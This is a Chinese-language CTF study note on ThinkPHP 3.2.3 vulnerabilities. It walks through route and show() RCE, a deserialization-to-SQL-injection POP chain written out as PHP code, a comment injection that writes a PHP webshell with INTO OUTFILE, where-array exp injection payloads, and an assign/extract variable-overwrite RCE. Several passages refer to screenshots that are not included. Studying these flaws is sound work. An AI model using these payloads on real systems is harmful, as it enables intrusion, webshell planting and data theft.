tp3.2.3
1.開始
入口檔案
就是www/index.php,index.php包含了框架的入口檔案,所以訪問後可以直接載入thinkphp框架
配置檔案
thinkphp的配置檔案在www/ThinkPHP/Conf/convention.php
url大小寫
url預設是大小寫敏感的,也可以透過修改convertion.php,達到url不區分大小寫的目的
'URL_CASE_INSENSITIVE' => true,
URL模式
在訪問入口檔案時,如果沒有指定模組、控制器、方法,預設會訪問HOME模組下面的Index控制器的index方法,所以下面訪問是等效的
http://serverName/index.php
http://serverName/index.php/Home/Index/index
為了訪問下圖中的index方法並輸出hello 123我們可以透過下面四種模式。
PATHINFO模式:
http://localhost/index.php/Home/Index/index/name/123/
普通模式:
http://localhost/index.php?m=Home&c=Index&f=index&name=123
相容模式:
http://localhost/index.php?s=Home/Index/index/name/123
其中引數s來自於ThinkPHP->Conf->convention.php中的VAR_PATH_INFO設定,所以我們也可以改成其他的引數。
REWRITE模式:
http://localhost/Home/Index/index/name/123/
路由
開啟路由的前提
- URL模式為PATH_INFO或者相容模式也可以,採用普通模式的情況下不支援路由功能
- 在應用(或者模組)配置檔案中開啟路由:'URL_ROUTER_ON' => true,
規則路由
common內全域性路由:
<?php
return array(
//'配置項'=>'配置值'
'DB_TYPE' => 'mysql', // 資料庫型別
'DB_HOST' => '127.0.0.1', // 伺服器地址
'DB_NAME' => 'ctfshow', // 資料庫名
'DB_USER' => 'root', // 使用者名稱
'DB_PWD' => 'ctfshow', // 密碼
'DB_PORT' => '3306', // 埠
'URL_ROUTER_ON' => true,
'URL_ROUTE_RULES' => array(
'ctfshow/:f/:a' =>function($f,$a){
call_user_func($f, $a);
}
)
);
http://challenge.ctf.show/index.php/ctfshow/assert/@eval($_POST[1])
=> call_user_func('assert','@eval($_POST[1])');
2.show渲染函式rce
Thinkphp的渲染機制
Thinkphp的控制器中有show函式,可以將文字渲染成html的網頁
show函式最終呼叫eval函式
成功傳入引數值
本地在show方法下斷點
繼續跟進display方法
跟進到fetch方法
if('php' == strtolower(C('TMPL_ENGINE_TYPE')))
這裡直接到else裡面了,因為本地預設是Think,但是ctfshow裡是PHP,所以我們可以直接進行命令執行
注意要url編碼
3.反序列化+sql注入
先找__destruct
這裡img可控,可呼叫destroy方法,全域性搜素
handle和sessionName可控,但是sessID不可控,是空值,後續delete方法的引數大多需要陣列,這裡即使給sessionName賦值成陣列,但是$sessID
如果為空值,在PHP中,用.
連線符連線,得到的結果為字串Array
。
<?php
$a= array("1234"=>"1234");
var_dump($a."");
#輸出:string(5) "Array"
全域性搜尋delete函式
在這寫一個echo,然後將前面分析的鏈子整合一下,進行反序列化,看看呼叫過程是否正確。
<?php
namespace Think\Image\Driver {
use Think\Session\Driver\Memcache;
class Imagick
{
private $img;
public function __construct()
{
$this->img = new Memcache();
}
}
}
namespace Think\Session\Driver {
use Think\Model;
class Memcache
{
protected $lifeTime = 3600;
protected $sessionName = 1;
protected $handle = null;
public function __construct()
{
$this->handle = new Model();
}
}
}
namespace Think {
class Model{}
}
namespace {
$a = new Think\Image\Driver\Imagick();
echo base64_encode(serialize($a));
}
在PHP7版本中,如果呼叫一個含引數的方法,卻不傳入引數時,ThinkPHP會報錯,而在PHP5版本中不會報錯,但是我沒配php5的debug
m1xian是能列印出來的
繼續向下分析
這裡$this->data
可控,我們期望進入這個return裡面,這樣會第二次呼叫delete方法,此時則該方法的option
引數變相可控
繼續向下走
這裡$this->db我們可控的,delete方法也可控,option的值我們變相可控
繼續全域性搜尋delete方法
thinkphp3.2.3/ThinkPHP/Library/Think/Db/Driver.class.php
此處可能存在sql注入漏洞,因為直接對table進行了拼接
上面有個parseTable函式,跟進看一下有木有過濾
可以看到只呼叫了parseKey函式,繼續跟進看一下
毫無過濾,直接將傳入的引數返回
在此處執行sql,執行前列印出來,構造一下到這裡的鏈子
<?php
namespace Think\Image\Driver {
use Think\Session\Driver\Memcache;
class Imagick
{
private $img;
public function __construct()
{
$this->img = new Memcache();
}
}
}
namespace Think\Session\Driver {
use Think\Model;
class Memcache
{
protected $lifeTime = 3600;
protected $sessionName = '';
protected $handle = null;
public function __construct()
{
$this->handle = new Model();
}
}
}
namespace Think {
class Model{}
}
namespace {
$a = new Think\Image\Driver\Imagick();
echo base64_encode(serialize($a));
}
4.comment注入
無過濾可直接執行命令
comment處下斷點
走到find方法,之前分析過會進行一個sql執行
繼續跟看看有沒有過濾
沒有過濾
https://challenge.ctf.show/?id=0*/;select '<?php @eval($_POST[cmd]);?>' into outfile '/var/www/html/a.php';/*
5.where注入傳入陣列
where處下斷點,這裡也是呼叫了find函式
一直跟進到構造sql語句的地方
跟進紅框看一下有木有過濾
可以看到如果進第一個if比較運算的話,會進parseValue
直接走下面紅框的
Payload:
?id[0]=exp&id[1]==1 and updatexml(1,concat(0x7e,user(),0x7e),1)
可以看到成功注入
union也可以
?m=Home&c=Index&a=index&id[0]=exp&id[1]==0 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database();
6.php原生引擎下,assign方法變數覆蓋導致的RCE
原始碼:
預設情況下tp框架使用的是THINK引擎渲染網頁,但是開發者可以手動設定/tp3.2.3/ThinkPHP/Conf/convention.php的TMPL_ENGINE_TYPE值為PHP,來使用原生引擎。這裡的漏洞就是因為使用了php原生引擎
看一下assign
傳入的name是陣列就陣列合並,是字串就name當作鍵值,value當作值
跟進到display
display方法是渲染用的,沒有引數就渲染自身名稱的html檔案模板(index.html)
繼續跟進到fetch
extract函式,當flags為EXTR_OVERWRITE時會覆蓋原有變數
這裡extract($this->tVar
),透過assgin傳入
這裡直接將$_content eval執行了
?m=Home&c=Index&a=index&name=_content&from=<?php @eval($_POST[1]);?>
也可以?name[_content]=<?php phpinfo();?>
可以看到成功覆蓋